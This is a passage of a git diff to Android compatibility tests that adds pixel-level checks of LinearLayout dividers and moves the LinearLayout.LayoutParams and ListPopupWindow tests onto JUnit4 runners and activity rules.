+                LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show top, middle and bottom dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                                | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                        | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                        | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+    }
+
+    private void verifyVisualsOfHorizontalLayoutWithDivider(LinearLayout parent,
+            int expectedDividerPositionMask,
+            int expectedDividerSize, @ColorInt int expectedDividerColor,
+            int expectedDividerPadding) {
+        final int parentWidth = parent.getWidth();
+        final int parentHeight = parent.getHeight();
+
+        final boolean expectingLeftDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_BEGINNING) != 0;
+        final boolean expectingMiddleDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_MIDDLE) != 0;
+        final boolean expectingRightDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_END) != 0;
+        final int expectedDividerCount = (expectingLeftDivider ? 1 : 0)
+                + (expectingMiddleDivider ? 1 : 0) + (expectingRightDivider ? 1 : 0);
+
+        final int expectedChildWidth =
+                (parentWidth - expectedDividerCount * expectedDividerSize) / 2;
+
+        final int expectedLeftChildLeft = expectingLeftDivider ? expectedDividerSize : 0;
+        TestUtils.assertRegionPixelsOfColor("Region of first child is blue", parent,
+                new Rect(expectedLeftChildLeft, 0,
+                        expectedLeftChildLeft + expectedChildWidth, parentHeight),
+                Color.BLUE, 1, true);
+
+        final int expectedRightChildRight =
+                expectingRightDivider ? parentWidth - expectedDividerSize : parentWidth;
+        TestUtils.assertRegionPixelsOfColor("Region of second child is green", parent,
+                new Rect(expectedRightChildRight - expectedChildWidth, 0, expectedRightChildRight,
+                        parentHeight),
+                Color.GREEN, 1, true);
+
+        if (expectedDividerSize == 0) {
+            return;
+        }
+
+        // Do we expect left divider?
+        if (expectingLeftDivider) {
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of left divider is " + TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(0, expectedDividerPadding, expectedDividerSize,
+                            parentHeight - expectedDividerPadding),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of top padding of left divider is yellow",
+                    parent,
+                    new Rect(0, 0, expectedDividerSize, expectedDividerPadding),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of bottom padding of left divider is yellow",
+                    parent,
+                    new Rect(0, parentHeight - expectedDividerPadding, expectedDividerSize,
+                            parentHeight),
+                    Color.YELLOW, 1, true);
+        }
+
+        // Do we expect middle divider?
+        if (expectingMiddleDivider) {
+            final int expectedMiddleDividerLeft = expectedLeftChildLeft + expectedChildWidth;
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of middle divider is " +
+                            TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(expectedMiddleDividerLeft, expectedDividerPadding,
+                            expectedMiddleDividerLeft + expectedDividerSize,
+                            parentHeight - expectedDividerPadding),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of top padding of middle divider is yellow",
+                    parent,
+                    new Rect(expectedMiddleDividerLeft, 0,
+                            expectedMiddleDividerLeft + expectedDividerSize,
+                            expectedDividerPadding),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of bottom padding of middle divider is yellow",
+                    parent,
+                    new Rect(expectedMiddleDividerLeft, parentHeight - expectedDividerPadding,
+                            expectedMiddleDividerLeft + expectedDividerSize, parentHeight),
+                    Color.YELLOW, 1, true);
+        }
+
+        // Do we expect right divider?
+        if (expectingRightDivider) {
+            final int expectedRightDividerLeft = expectedRightChildRight;
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of right divider is " +
+                            TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(expectedRightDividerLeft, expectedDividerPadding,
+                            expectedRightDividerLeft + expectedDividerSize,
+                            parentHeight - expectedDividerPadding),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of top padding of right divider is yellow",
+                    parent,
+                    new Rect(expectedRightDividerLeft, 0,
+                            expectedRightDividerLeft + expectedDividerSize,
+                            expectedDividerPadding),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of bottom padding of right divider is yellow",
+                    parent,
+                    new Rect(expectedRightDividerLeft, parentHeight - expectedDividerPadding,
+                            expectedRightDividerLeft + expectedDividerSize, parentHeight),
+                    Color.YELLOW, 1, true);
+        }
+    }
+
+    /**
+     * layout of horizontal LinearLayout.
+     * -----------------------------------
+     * | ------------  |  -------------  |
+     * | |          |     |           |  |
+     * | |          |  d  |           |  |
+     * | |          |  i  |           |  |
+     * | |          |  v  |           |  |
+     * | |  child1  |  i  |  child2   |  |
+     * | |          |  d  |           |  |
+     * | |          |  e  |           |  |
+     * | |          |  r  |           |  |
+     * | |          |     |           |  |
+     * | ------------  |  -------------  |
+     * -----------------------------------
+     *
+     * Parent is filled with yellow color. Child 1 is filled with green and child 2 is filled
+     * with blue. Divider is red at the beginning. Throughout this method we reconfigure the
+     * visibility, drawable and paddings of the divider and verify the overall visuals of the
+     * container.
+     */
+    @Test
+    public void testDividersInHorizontalLayout() throws Throwable {
+        final LinearLayout parent =
+                (LinearLayout) mActivity.findViewById(R.id.linear_horizontal_with_divider);
+
+        mActivityRule.runOnUiThread(() -> parent.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+        mInstrumentation.waitForIdleSync();
+
+        final Resources res = mActivity.getResources();
+        final int dividerSize = res.getDimensionPixelSize(R.dimen.linear_layout_divider_size);
+        final int dividerPadding = res.getDimensionPixelSize(R.dimen.linear_layout_divider_padding);
+
+        assertEquals(LinearLayout.SHOW_DIVIDER_MIDDLE, parent.getShowDividers());
+        assertEquals(dividerPadding, parent.getDividerPadding());
+        final Drawable dividerDrawable = parent.getDividerDrawable();
+        TestUtils.assertAllPixelsOfColor("Divider is red", dividerDrawable,
+                dividerDrawable.getIntrinsicWidth(), dividerDrawable.getIntrinsicHeight(),
+                false, Color.RED, 1, true);
+
+        // Test the initial visuals of the entire parent
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Change the divider to magenta
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(
+                        mActivity.getDrawable(R.drawable.linear_layout_divider_magenta)));
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.MAGENTA, dividerPadding);
+
+        // Change the divider to null (no divider effectively)
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(null));
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                0, Color.TRANSPARENT, 0);
+
+        // Change the divider back to red
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(
+                        mActivity.getDrawable(R.drawable.linear_layout_divider_red)));
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Change the padding to half the original size
+        final int halfPadding = dividerPadding / 2;
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(halfPadding));
+        assertEquals(halfPadding, parent.getDividerPadding());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, halfPadding);
+
+        // Change the padding to twice the original size
+        final int doublePadding = dividerPadding * 2;
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(doublePadding));
+        assertEquals(doublePadding, parent.getDividerPadding());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, doublePadding);
+
+        // And back to the original padding
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(dividerPadding));
+        assertEquals(dividerPadding, parent.getDividerPadding());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Set show dividers to NONE (no divider effectively)
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_NONE));
+        assertEquals(LinearLayout.SHOW_DIVIDER_NONE, parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_NONE,
+                0, Color.TRANSPARENT, 0);
+
+        // Show only left divider
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_BEGINNING));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING, parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_BEGINNING,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show only right divider
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_END, parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show left and right dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show left and middle dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE,
+                parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show middle and right dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show left, middle and right dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                                | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                        | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfHorizontalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE
+                        | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
     }
 
     private class MockListView extends ListView {
@@ -489,11 +1235,15 @@
      * extends from it and override protected methods so that we can access them in
      * our test codes.
      */
-    private class MockLinearLayout extends LinearLayout {
+    public static class MockLinearLayout extends LinearLayout {
         public MockLinearLayout(Context c) {
             super(c);
         }
 
+        public MockLinearLayout(Context context, @Nullable AttributeSet attrs) {
+            super(context, attrs);
+        }
+
         @Override
         protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
             return super.checkLayoutParams(p);
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
index 4f36e94..751caef 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
@@ -16,37 +16,79 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
-import org.xmlpull.v1.XmlPullParserException;
-
+import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Gravity;
 import android.view.ViewGroup.LayoutParams;
 import android.view.ViewGroup.MarginLayoutParams;
 import android.widget.LinearLayout;
 import android.widget.cts.util.XmlUtils;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class LinearLayout_LayoutParamsTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LinearLayout_LayoutParamsTest {
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
-        XmlResourceParser p = mContext.getResources().getLayout(R.layout.linearlayout_layout);
+        final Context context = InstrumentationRegistry.getTargetContext();
+        XmlResourceParser p = context.getResources().getLayout(R.layout.linearlayout_layout2);
 
         XmlUtils.beginDocument(p, "LinearLayout");
-        new LinearLayout.LayoutParams(getContext(), p);
+        LinearLayout.LayoutParams linearLayoutParams =
+                new LinearLayout.LayoutParams(context, p);
+        assertEquals(LayoutParams.MATCH_PARENT, linearLayoutParams.width);
+        assertEquals(LayoutParams.WRAP_CONTENT, linearLayoutParams.height);
+        assertEquals(0.0f, linearLayoutParams.weight, 0.0f);
+        assertEquals(-1, linearLayoutParams.gravity);
 
-        new LinearLayout.LayoutParams(320, 240);
+        linearLayoutParams = new LinearLayout.LayoutParams(320, 240);
+        assertEquals(320, linearLayoutParams.width);
+        assertEquals(240, linearLayoutParams.height);
+        assertEquals(0.0f, linearLayoutParams.weight, 0.0f);
+        assertEquals(-1, linearLayoutParams.gravity);
 
-        new LinearLayout.LayoutParams(320, 240, 0);
+        linearLayoutParams = new LinearLayout.LayoutParams(360, 320, 0.4f);
+        assertEquals(360, linearLayoutParams.width);
+        assertEquals(320, linearLayoutParams.height);
+        assertEquals(0.4f, linearLayoutParams.weight, 0.0f);
+        assertEquals(-1, linearLayoutParams.gravity);
 
-        LayoutParams layoutParams = new LayoutParams(320, 480);
-        new LinearLayout.LayoutParams(layoutParams);
+        LayoutParams layoutParams = new LayoutParams(200, 480);
+        linearLayoutParams = new LinearLayout.LayoutParams(layoutParams);
+        assertEquals(200, linearLayoutParams.width);
+        assertEquals(480, linearLayoutParams.height);
+        assertEquals(0.0f, linearLayoutParams.weight, 0.0f);
+        assertEquals(-1, linearLayoutParams.gravity);
 
-        MarginLayoutParams marginLayoutParams = new MarginLayoutParams(320, 480);
-        new LinearLayout.LayoutParams(marginLayoutParams);
+        MarginLayoutParams marginLayoutParams = new MarginLayoutParams(320, 200);
+        linearLayoutParams = new LinearLayout.LayoutParams(marginLayoutParams);
+        assertEquals(320, linearLayoutParams.width);
+        assertEquals(200, linearLayoutParams.height);
+        assertEquals(0.0f, linearLayoutParams.weight, 0.0f);
+        assertEquals(-1, linearLayoutParams.gravity);
+
+        LinearLayout.LayoutParams linearLayoutParams2 = new LinearLayout.LayoutParams(360, 720);
+        linearLayoutParams2.weight = 0.9f;
+        linearLayoutParams2.gravity = Gravity.RIGHT;
+        linearLayoutParams = new LinearLayout.LayoutParams(linearLayoutParams2);
+        assertEquals(360, linearLayoutParams.width);
+        assertEquals(720, linearLayoutParams.height);
+        assertEquals(0.9f, linearLayoutParams.weight, 0.0f);
+        assertEquals(Gravity.RIGHT, linearLayoutParams.gravity);
     }
 
+    @Test
     public void testDebug() {
         LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(320, 240);
         assertNotNull(layoutParams.debug("test: "));
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 73e2aeb..70f9661 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -16,23 +16,38 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.doCallRealMethod;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.KeyEventUtil;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.LayoutInflater;
-import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.WindowManager;
@@ -43,17 +58,24 @@
 import android.widget.ListView;
 import android.widget.PopupWindow;
 import android.widget.TextView;
-import android.widget.cts.util.ViewTestUtils;
 
-import static org.mockito.Mockito.*;
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.WidgetTestUtils;
 
-@SmallTest
-public class ListPopupWindowTest extends
-        ActivityInstrumentationTestCase2<ListPopupWindowCtsActivity> {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class ListPopupWindowTest {
     private Instrumentation mInstrumentation;
     private Activity mActivity;
-    private KeyEventUtil mKeyEventUtil;
     private Builder mPopupWindowBuilder;
+    private View promptView;
 
     /** The list popup window. */
     private ListPopupWindow mPopupWindow;
@@ -73,31 +95,26 @@
         }
     }
 
-    /**
-     * Instantiates a new popup window test.
-     */
-    public ListPopupWindowTest() {
-        super(ListPopupWindowCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ListPopupWindowCtsActivity> mActivityRule
+            = new ActivityTestRule<>(ListPopupWindowCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mItemClickListener = new PopupItemClickListener();
-        mKeyEventUtil = new KeyEventUtil(mInstrumentation);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() throws Throwable {
         if ((mPopupWindowBuilder != null) && (mPopupWindow != null)) {
-            mPopupWindowBuilder.dismiss();
+            mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+            mInstrumentation.waitForIdleSync();
         }
-
-        super.tearDown();
     }
 
+    @Test
     public void testConstructor() {
         new ListPopupWindow(mActivity);
 
@@ -105,17 +122,29 @@
 
         new ListPopupWindow(mActivity, null, android.R.attr.popupWindowStyle);
 
+        new ListPopupWindow(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_ListPopupWindow);
+
+        new ListPopupWindow(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ListPopupWindow);
+
         new ListPopupWindow(mActivity, null, 0, android.R.style.Widget_Material_ListPopupWindow);
+
+        new ListPopupWindow(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ListPopupWindow);
     }
 
+    @Test
     public void testNoDefaultVisibility() {
         mPopupWindow = new ListPopupWindow(mActivity);
         assertFalse(mPopupWindow.isShowing());
     }
 
-    public void testAccessBackground() {
+    @Test
+    public void testAccessBackground() throws Throwable {
         mPopupWindowBuilder = new Builder();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         Drawable drawable = new ColorDrawable();
         mPopupWindow.setBackgroundDrawable(drawable);
@@ -125,9 +154,11 @@
         assertNull(mPopupWindow.getBackground());
     }
 
-    public void testAccessAnimationStyle() {
+    @Test
+    public void testAccessAnimationStyle() throws Throwable {
         mPopupWindowBuilder = new Builder();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
         assertEquals(0, mPopupWindow.getAnimationStyle());
 
         mPopupWindow.setAnimationStyle(android.R.style.Animation_Toast);
@@ -138,9 +169,11 @@
         assertEquals(-100, mPopupWindow.getAnimationStyle());
     }
 
-    public void testAccessHeight() {
+    @Test
+    public void testAccessHeight() throws Throwable {
         mPopupWindowBuilder = new Builder();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, mPopupWindow.getHeight());
 
@@ -160,8 +193,12 @@
         assertEquals(height, mPopupWindow.getHeight());
 
         height = -getDisplay().getHeight() / 2;
-        mPopupWindow.setHeight(height);
-        assertEquals(height, mPopupWindow.getHeight());
+        try {
+            mPopupWindow.setHeight(height);
+            fail("should throw IllegalArgumentException for negative height.");
+        } catch (IllegalArgumentException e) {
+            // expected exception.
+        }
     }
 
     /**
@@ -174,9 +211,11 @@
         return wm.getDefaultDisplay();
     }
 
-    public void testAccessWidth() {
+    @Test
+    public void testAccessWidth() throws Throwable {
         mPopupWindowBuilder = new Builder().ignoreContentWidth();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(WindowManager.LayoutParams.WRAP_CONTENT, mPopupWindow.getWidth());
 
@@ -234,9 +273,11 @@
         assertEquals(expectedListViewOnScreenY, listViewOnScreenXY[1]);
     }
 
-    public void testAnchoring() {
+    @Test
+    public void testAnchoring() throws Throwable {
         mPopupWindowBuilder = new Builder();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(0, mPopupWindow.getHorizontalOffset());
         assertEquals(0, mPopupWindow.getVerticalOffset());
@@ -244,9 +285,11 @@
         verifyAnchoring(0, 0, Gravity.NO_GRAVITY);
     }
 
-    public void testAnchoringWithHorizontalOffset() {
+    @Test
+    public void testAnchoringWithHorizontalOffset() throws Throwable {
         mPopupWindowBuilder = new Builder().withHorizontalOffset(50);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(50, mPopupWindow.getHorizontalOffset());
         assertEquals(0, mPopupWindow.getVerticalOffset());
@@ -254,9 +297,11 @@
         verifyAnchoring(50, 0, Gravity.NO_GRAVITY);
     }
 
-    public void testAnchoringWithVerticalOffset() {
+    @Test
+    public void testAnchoringWithVerticalOffset() throws Throwable {
         mPopupWindowBuilder = new Builder().withVerticalOffset(60);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(0, mPopupWindow.getHorizontalOffset());
         assertEquals(60, mPopupWindow.getVerticalOffset());
@@ -264,9 +309,11 @@
         verifyAnchoring(0, 60, Gravity.NO_GRAVITY);
     }
 
-    public void testAnchoringWithRightGravity() {
+    @Test
+    public void testAnchoringWithRightGravity() throws Throwable {
         mPopupWindowBuilder = new Builder().withDropDownGravity(Gravity.RIGHT);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(0, mPopupWindow.getHorizontalOffset());
         assertEquals(0, mPopupWindow.getVerticalOffset());
@@ -274,9 +321,11 @@
         verifyAnchoring(0, 0, Gravity.RIGHT);
     }
 
-    public void testAnchoringWithEndGravity() {
+    @Test
+    public void testAnchoringWithEndGravity() throws Throwable {
         mPopupWindowBuilder = new Builder().withDropDownGravity(Gravity.END);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertEquals(0, mPopupWindow.getHorizontalOffset());
         assertEquals(0, mPopupWindow.getVerticalOffset());
@@ -284,10 +333,12 @@
         verifyAnchoring(0, 0, Gravity.END);
     }
 
-    public void testSetWindowLayoutType() {
+    @Test
+    public void testSetWindowLayoutType() throws Throwable {
         mPopupWindowBuilder = new Builder().withWindowLayoutType(
                 WindowManager.LayoutParams.TYPE_APPLICATION_SUB_PANEL);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
 
         WindowManager.LayoutParams p = (WindowManager.LayoutParams)
@@ -295,39 +346,52 @@
         assertEquals(WindowManager.LayoutParams.TYPE_APPLICATION_SUB_PANEL, p.type);
     }
 
-    public void testDismiss() {
+    @Test
+    public void testDismiss() throws Throwable {
         mPopupWindowBuilder = new Builder();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
 
-        mPopupWindowBuilder.dismiss();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+        mInstrumentation.waitForIdleSync();
         assertFalse(mPopupWindow.isShowing());
 
-        mPopupWindowBuilder.dismiss();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+        mInstrumentation.waitForIdleSync();
         assertFalse(mPopupWindow.isShowing());
     }
 
-    public void testSetOnDismissListener() {
+    @Test
+    public void testSetOnDismissListener() throws Throwable {
         mPopupWindowBuilder = new Builder().withDismissListener();
-        mPopupWindowBuilder.show();
-        mPopupWindowBuilder.dismiss();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+        mInstrumentation.waitForIdleSync();
         verify(mPopupWindowBuilder.mOnDismissListener, times(1)).onDismiss();
 
-        mPopupWindowBuilder.showAgain();
-        mPopupWindowBuilder.dismiss();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::showAgain);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+        mInstrumentation.waitForIdleSync();
         verify(mPopupWindowBuilder.mOnDismissListener, times(2)).onDismiss();
 
         mPopupWindow.setOnDismissListener(null);
-        mPopupWindowBuilder.showAgain();
-        mPopupWindowBuilder.dismiss();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::showAgain);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::dismiss);
+        mInstrumentation.waitForIdleSync();
         // Since we've reset the listener to null, we are not expecting any more interactions
         // on the previously registered listener.
         verifyNoMoreInteractions(mPopupWindowBuilder.mOnDismissListener);
     }
 
-    public void testAccessInputMethodMode() {
+    @Test
+    public void testAccessInputMethodMode() throws Throwable {
         mPopupWindowBuilder = new Builder().withDismissListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
